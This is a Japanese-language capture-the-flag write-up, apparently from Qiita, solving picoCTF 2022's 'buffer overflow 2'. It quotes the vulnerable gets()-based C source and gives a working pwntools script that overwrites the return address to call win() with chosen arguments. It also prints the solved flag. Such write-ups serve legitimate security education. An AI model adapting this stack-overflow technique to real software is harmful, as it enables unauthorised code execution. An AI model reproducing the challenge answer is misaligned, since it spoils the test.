0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

picoCTF 2022 writeup buffer overflow 2

Posted at

buffer overflow 2 (Binary Exploitation)

Control the return address and arguments This time you'll need to control the arguments to the function you return to! Can you get the flag from this program? You can view source here. And connect with it using nc saturn.picoctf.net 60902

配布ファイル
・vuln
・vuln.c

とりあえずnc saturn.picoctf.net 60902を実行してみる。

> nc saturn.picoctf.net 60902
Please enter your string: 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

入力した文字がそのまま出てくるようだ。ソースコードを見てみる。

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

BUFSIZE=100でbufをそのまま出力している。

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;
  printf(buf);
}

flagが出てきそうなwin関数がある。arg1==0xCAFEF00Dかつarg2==0xF00DF00Dである必要がありそうだ。win関数のアドレス値は64: 08049296 162 FUNC GLOBAL DEFAULT 15 winより、0x08049296である。何らかの文字列100+12文字+0x08049296+リターンアドレス+arg1+arg2のような入力になるはず。

以下、実行コード。

from pwn import *

p = remote("saturn.picoctf.net", 60902)

payload = b"a"*112
payload += p32(0x08049296)
payload += p32(0x08049372) # ここは何でも良い
payload += p32(0xCAFEF00D) + p32(0xF00DF00D)

p.sendline(payload)

p.interactive()

フラグが得られた。
picoCTF{argum3nt5_4_d4yZ_27ecbf40}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?